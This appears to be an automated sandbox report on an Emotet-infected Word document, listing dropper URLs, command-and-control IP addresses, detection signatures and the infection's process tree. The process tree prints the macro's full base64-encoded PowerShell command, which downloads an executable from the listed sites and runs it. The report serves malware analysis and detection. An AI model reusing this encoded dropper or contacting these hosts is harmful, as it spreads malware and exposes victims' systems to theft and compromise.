Analysis

  • max time kernel
    137s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    21/09/2020, 21:51

General

  • Target
    emotet_e1_30ca3b2aed5b521c1a38f66bbaa8d0bcc634cf59c59493b8388dd894d048ef74_2020-09-21__214908942341._doc.doc
  • Size 209KB
  • Sample200921-cbfyzethza
  • SHA256 30ca3b2aed5b521c1a38f66bbaa8d0bcc634cf59c59493b8388dd894d048ef74
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://waytoger.com/wp-admin/w/

  • exe.dropper

    https://jaguarssus.xyz/wp-admin/GfU/

  • exe.dropper

    https://learnkalmar.com/wp-includes/VSZ/

  • exe.dropper

    http://tiendapablus.net/cgi-bin/SIr/

  • exe.dropper

    https://prsaze.com/wp-admin/7a/

  • exe.dropper

    https://www.campuscamarafp.com/wp-admin/N/

  • exe.dropper

    https://infolockerz.com/wp-content/x/

Extracted

Family
  • emotet

C2
  • 76.168.54.203:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 5.196.35.138:7080

  • 177.129.17.170:443

  • 87.106.46.107:8080

  • 68.183.190.199:8080

  • 185.183.16.47:80

  • 186.103.141.250:443

  • 64.201.88.132:80

  • 70.32.84.74:8080

  • 68.69.155.181:80

  • 82.76.111.249:443

  • 111.67.12.221:8080

  • 60.93.23.51:80

  • 104.131.41.185:8080

  • 92.24.50.153:80

  • 191.182.6.118:80

  • 61.197.92.216:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 6 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_30ca3b2aed5b521c1a38f66bbaa8d0bcc634cf59c59493b8388dd894d048ef74_2020-09-21__214908942341._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3672
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABNAGEAaQAzAHYAMwB2AD0AKAAoACcAQwBzACcAKwAnADcAcgB6ACcAKQArACcAMwAnACsAJwBsACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIAbwBGAEkAbABlAFwAbwBxAHYASQBfADQARQBcAFoAZgBJADUAQwBLAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGAAYwBVAHIAaQBgAFQAeQBwAFIATwBgAFQATwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKwAnACwAIAAnACsAKAAnAHQAbAAnACsAJwBzADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFAANQA5AHYAcABhAHcAIAA9ACAAKAAnAEoAJwArACgAJwBuADcAeAB2ACcAKwAnAGkAbwAwACcAKQApADsAJABGAHMAagByAHIANQBsAD0AKAAoACcAVwBkAHAAJwArACcAMwAnACkAKwAnADYAJwArACcAbgA0ACcAKQA7ACQAVAA0AHIAcwBwADEAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBPAHEAdgBpAF8ANABlAHsAJwArACcAMAB9AFoAJwArACgAJwBmACcAKwAnAGkANQBjACcAKQArACcAawB4AHsAJwArACcAMAAnACsAJwB9ACcAKQAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAFAANQA5AHYAcABhAHcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFEAZQByADkAeAB2AGgAPQAoACgAJwBTAHEAJwArACcAegAnACkAKwAnAHAAYQAnACsAJwBzAGsAJwApADsAJABHADkAbwBfAHUAYwBqAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAVAAuAHcAZQBCAEMAbABJAEUATgB0ADsAJABRAG8AbwByAGsAdwBuAD0AKAAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AGEAJwApACsAJwB5AHQAJwArACgAJwBvACcAKwAnAGcAZQByAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBhACcAKQArACgAJwBkAG0AaQBuAC8AdwAnACsAJwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAagBhAGcAdQBhACcAKQArACgAJwByAHMAJwArACcAcwAnACsAJwB1AHMAJwArACcALgB4AHkAegAnACkAKwAnAC8AdwAnACsAKAAnAHAALQAnACsAJwBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAJwAvAEcAJwArACgAJwBmAFUALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcABzACcAKwAoACcAOgAvAC8AJwArACcAbAAnACkAKwAnAGUAYQAnACsAKAAnAHIAJwArACcAbgBrACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbQBhAHIAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAALQAnACsAJwBpAG4AYwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzAC8AVgBTACcAKwAnAFoALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoAJwArACcALwAvAHQAJwApACsAJwBpACcAKwAoACcAZQBuAGQAJwArACcAYQAnACkAKwAoACcAcABhAGIAbAB1AHMALgAnACsAJwBuACcAKwAnAGUAdAAnACkAKwAoACcALwBjACcAKwAnAGcAaQAtACcAKQArACcAYgAnACsAJwBpAG4AJwArACcALwAnACsAJwBTACcAKwAnAEkAcgAnACsAKAAnAC8AKgAnACsAJwBoAHQAdABwACcAKQArACgAJwBzACcAKwAnADoALwAvACcAKwAnAHAAcgBzAGEAJwApACsAJwB6ACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwA3ACcAKwAnAGEALwAqACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAnADoALwAnACsAJwAvACcAKwAoACcAdwB3AHcALgBjAGEAbQBwACcAKwAnAHUAcwBjACcAKwAnAGEAJwArACcAbQBhACcAKQArACcAcgBhACcAKwAnAGYAJwArACgAJwBwAC4AYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8ATgAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAaQBuACcAKwAnAGYAbwBsAG8AYwBrAGUAcgAnACkAKwAoACcAegAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAtAGMAbwAnACsAJwBuACcAKQArACcAdAAnACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAJwB4AC8AJwApAC4AIgBTAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAYwBuAGoAbAByAHgAPQAoACcATwBsACcAKwAoACcANQB5ADcAJwArACcAMwB0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQATwBfAGwAcQBjAGcAcQAgAGkAbgAgACQAUQBvAG8AcgBrAHcAbgApAHsAdAByAHkAewAkAEcAOQBvAF8AdQBjAGoALgAiAEQAYABvAHcAYABOAEwATwBhAGQARgBpAGAATABlACIAKAAkAE8AXwBsAHEAYwBnAHEALAAgACQAVAA0AHIAcwBwADEAawApADsAJABDADMAMABkADgAYgBjAD0AKAAoACcASAAnACsAJwBwADMAYQAnACkAKwAoACcAZgA4ACcAKwAnAGcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVAA0AHIAcwBwADEAawApAC4AIgBMAEUATgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADkANwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACgAJABUADQAcgBzAHAAMQBrACkAOwAkAFYAcwAzAGEAdQB1AGYAPQAoACcAVQAnACsAKAAnAG4AJwArACcAbQAyACcAKQArACgAJwB0ADAAJwArACcAMAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBtAGkAdABnAHoAaQA9ACgAKAAnAFMAJwArACcAMAA3ACcAKQArACgAJwAxACcAKwAnAHgAdQAnACkAKwAnAHkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADYAYwBqADIAYQB0AD0AKAAnAFUAeAAnACsAKAAnAGUAJwArACcAegAxACcAKQArACcANwAzACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Users\Admin\Oqvi_4e\Zfi5ckx\Jn7xvio0.exe
      "C:\Users\Admin\Oqvi_4e\Zfi5ckx\Jn7xvio0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:740
      • C:\Windows\SysWOW64\msIso\ProximityCommonPal.exe
        "C:\Windows\SysWOW64\msIso\ProximityCommonPal.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3012

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/740-26-0x00000000001F0000-0x0000000000200000-memory.dmp

        memory/740-25-0x0000000000530000-0x0000000000542000-memory.dmp

        memory/3012-29-0x00000000005B0000-0x00000000005C2000-memory.dmp

        memory/3672-12-0x000001CD8C4E4000-0x000001CD8C4E9000-memory.dmp

        memory/3672-0-0x00007FFDBCE70000-0x00007FFDBD536000-memory.dmp

        memory/3672-17-0x000001CD8C4DB000-0x000001CD8C4E4000-memory.dmp

        memory/3672-18-0x000001CD8C4E4000-0x000001CD8C4E9000-memory.dmp

        memory/3672-1-0x000001CD8AAD0000-0x000001CD8AAD4000-memory.dmp

        memory/3672-9-0x000001CD88EC1000-0x000001CD88EE2000-memory.dmp

        memory/3672-10-0x000001CD88EC1000-0x000001CD88EE2000-memory.dmp

        memory/3672-15-0x000001CD8C4DB000-0x000001CD8C4E4000-memory.dmp

        memory/3672-14-0x000001CD8897E000-0x000001CD88983000-memory.dmp

        memory/3672-13-0x000001CD88EC1000-0x000001CD88EE2000-memory.dmp

        memory/3672-16-0x000001CD8C4DB000-0x000001CD8C4E4000-memory.dmp

        memory/3672-11-0x000001CD88EC1000-0x000001CD88EE2000-memory.dmp

        memory/3808-21-0x00000239FEB60000-0x00000239FEB61000-memory.dmp

        memory/3808-20-0x00000239FE740000-0x00000239FE741000-memory.dmp

        memory/3808-19-0x00007FFDB56E0000-0x00007FFDB60CC000-memory.dmp